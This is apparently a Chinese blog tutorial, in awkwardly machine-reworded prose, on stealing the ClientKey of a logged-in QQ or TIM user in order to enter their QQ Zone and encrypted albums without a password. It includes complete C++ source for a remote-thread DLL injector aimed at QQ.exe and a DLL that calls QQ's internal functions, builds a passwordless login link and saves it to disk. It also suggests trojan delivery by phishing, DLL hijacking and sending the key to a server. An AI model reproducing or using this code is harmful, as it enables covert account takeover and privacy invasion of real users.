一、序言
这篇文章主要是解读怎样盗取已登录QQ或TIM消费者的ClientKey(基础是现阶段电脑的QQ或TIM是登录状态)
并不动声色获得其QQ或TIM空间登录权限链接,然后再在随意一台电脑上面能够无密码登录其QQ空间,也可以看一下其加密相册等。
具体完成步骤中后期能够优化的更棒,因为时间缘故只测试了基本要素的完成。仅仅提供一种构思,你们可以发散性思维,把步骤更为简单化或自动化技术。
二、技术性流程表
三、具体步骤
CS和MSF如何形成发布木马我不唠叨了,大伙儿可以自行百度搜索不管形成什么格式的木马只需可以使被网络攻击发布就能。
参照文章内容:
https://www.cnblogs.com/dgjnszf/p/10877999.html(PS:如果你想要让不和你同一网段得人运作木马发布,你CS应布署到公网站)随后具体文档钓鱼全过程我也不细说了,因为大家都有各自的钓鱼方法。
下边立即先从木马发布传到文档后实际操作逐渐演试:我们应该传到文件是一个exe一个dll
都要传到C盘网站根目录且dll的名称务必被命名为Dll1.dll(由于懒散我还写死到源代码中奖了,大家可以依据源代码自主改动)。
exe的功效通常是开展远程控制进程引入QQ.exe程序(由于有利于检测,我写死是指引入QQ.exe,大伙儿如果要引入TIM得话可以自行改动)。
dllInject.exe源代码
// dllInject.cpp :此文件包含\"main\"函数公式。程序执行将于这里逐渐并完毕。//#include\"pch.h\"#include<iostream>#include<windows.h>#include<TlHelp32.h>#include<string.h>//这里我先写死为C:Dll1.dll#define DLL_PATH L\"C:Dll1.dll\"//依据过程名获得过程ID,这里我先写死为QQ.exeDWORD GetProcId(){BOOL bRet;PROCESSENTRY32 pe32;HANDLE hSnap;hSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);pe32.dwSize=sizeof(pe32);bRet=Process32First(hSnap,&pe32);while(bRet){if(lstrcmp(pe32.szExeFile,L\"QQ.exe\")==0){return pe32.th32ProcessID;}bRet=Process32Next(hSnap,&pe32);}return 0;}int main(){//0通常情况下,我们通过遍历过程依据过程名获得过程ID DWORD dwId=GetProcId();//1 开启总体目标过程,获得返回值 HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwId);//2 在总体目标历程中申请办理一块室内空间,可以储放下dll文件的路径 DWORD dwSize=(wcslen(DLL_PATH) 1)* 2;LPVOID lpAddress=VirtualAllocEx(hProcess,NULL,dwSize,MEM_COMMIT,PAGE_READWRITE);//3 将dll文件的路径载入到总体目标过程办理的空间内 SIZE_T sSize=0;WriteProcessMemory(hProcess,lpAddress,DLL_PATH,dwSize,&sSize);//4 在总体目标历程中,建立远程控制进程使之可以实行LoadLibrary,主要参数就是我们载入的dll途径 HANDLE hThread=CreateRemoteThread(hProcess,NULL,NULL,(LPTHREAD_START_ROUTINE)LoadLibraryW,lpAddress,NULL,NULL);//5 等候线程结束,大家释放空间 WaitForSingleObject(hThread,-1);VirtualFreeEx(hProcess,lpAddress,dwSize,NULL);//6 程序结束 CloseHandle(hThread);CloseHandle(hProcess);}
dll的功效主要是用于盗取ClientKey并存放到txt文件。
Dll1.dll源代码
// dllmain.cpp :界定 DLL 应用软件的入口点。#include\"stdafx.h\"#include<stdio.h>#include<stdlib.h>#include<windows.h>#include<WTypes.h>//界定CTXStringW为BSTRtypedef BSTR CTXStringW;CTXStringW AllocTXString(const wchar_t* lpSrc){if(lpSrc==NULL)return NULL;BYTE* bBuffer=new BYTE[16 (wcslen(lpSrc) 1)* 2];if(bBuffer==NULL)return NULL;DWORD dwZero=0;DWORD dwCount=3;DWORD dwLenth=wcslen(lpSrc) 1;memmove(bBuffer 0 * 4,&dwZero,4);memmove(bBuffer 1 * 4,&dwCount,4);memmove(bBuffer 2 * 4,&dwLenth,4);memmove(bBuffer 3 * 4,&dwLenth,4);wcscpy((wchar_t*)(bBuffer 4 * 4),lpSrc);return CTXStringW(bBuffer 16);}VOID Steal(){do{HMODULE hKernelUtil=GetModuleHandle(L\"KernelUtil.dll\");if(hKernelUtil==NULL){OutputDebugStringA(\"Get KernelUtil Module failed n\");break;}PVOID PtrGetSelfUin=GetProcAddress(hKernelUtil,\"?GetSelfUin@Contact@Util@@YAKXZ\");if(PtrGetSelfUin==NULL){OutputDebugStringA(\"Get GetSelfUin Function failed n\");break;}DWORD uin=((int(*)(int))PtrGetSelfUin)(1);if(uin==NULL){OutputDebugStringA(\"Invoke GetSelfUin Function failed n\");break;}//Print QQ number char szUin[MAX_PATH]={0};sprintf(szUin,\"%d\",uin);PVOID GetSignature=GetProcAddress(hKernelUtil,\"?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z\");if(GetSignature==NULL){OutputDebugStringA(\"Get GetSignature Function failed n\");break;}WCHAR wsBuffer[MAX_PATH]={0};CTXStringW ClientKey=AllocTXString(wsBuffer);PVOID res=((PVOID(*)(PVOID,const char*))GetSignature)(&ClientKey,\"buf32ByteValueAddedSignature\");if(res==NULL){OutputDebugStringA(\"Invoke GetSignature Function failed n\");break;}//复制下边连接,无需密码,进到QQ空间 char msg[MAX_PATH]={0};sprintf(msg,\"https://ssl.ptlogin2.qq.com/jump?ptlang=2052&clientuin=%s&clientkey=%ws&u1=https://user.qzone.qq.com/%s%/infocenter&source=panelstarn\",szUin,ClientKey,szUin);OutputDebugStringA(\"引入取得成功\");//MessageBox(NULL,L\"提醒\",L\"引入取得成功\",MB_OK);FILE *file=NULL;//界定一个文件属性(FILE)的指示针并复位;const char *FileName=\"C:clientkey.txt\";file=fopen(FileName,\"w \");//调用fopen函数,将传参赋予表针file;//if (!file)//查验文档是不是开启,若打开失败,回到一条信息后,结束程序。//{//OutputDebugStringA(\"文件打开不成功,请确认文档存不存在!n\");//exit(1);//}//必须载入的字符串数组具体内容。if(!fputs(msg,file))//调用fputs函数写入文件,无论顺利或不成功都是会回到一条信息。OutputDebugStringA(\"文件写入取得成功n\");fclose(file);//关闭文件。file=NULL;//放空自己file表针}while(0);}BOOL APIENTRY DllMain(HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved){switch(ul_reason_for_call){case DLL_PROCESS_ATTACH:Steal();break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;}
传到文档以后我们使用命令行运作C盘网站根目录中的dllInject.exe就可以实现全自动引入QQ.exe程序并把盗取过的ClientKey储存到C盘网站根目录,名字为clientkey.txt
dbgView表明引入取得成功,文件写入取得成功。最后我们查询形成的clientkey.txt文件里面的内容
复制出去在随意计算机浏览就可以无密码登陆其QQ空间查询其加密相册功能的。
四、总结
获得的ClientKey不容易因为她QQ的退出而无效,但是也会有失效时间,一般是多久并没有进行测试,应该是一天?
虽然这个方式的实战演练功效并不算太大但大家可以参考一下构思改善或优化方法
就像我们能使用dll挟持立即挟持QQ程序流程必须载入的DLL,客户一实行QQ会自动载入盗取clientkey的dll,这个就免去了使用我撰写的exe开展远程控制进程引入这一步。
又或者说是改善dll,把载入txt文件改成把掌握到的clientkey立即发送至虚拟服务器上,这个就免去了读取txt文本文档的流程,小兄弟仅仅给予一下理论依据,有写不对的地方还望大佬们指正。
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。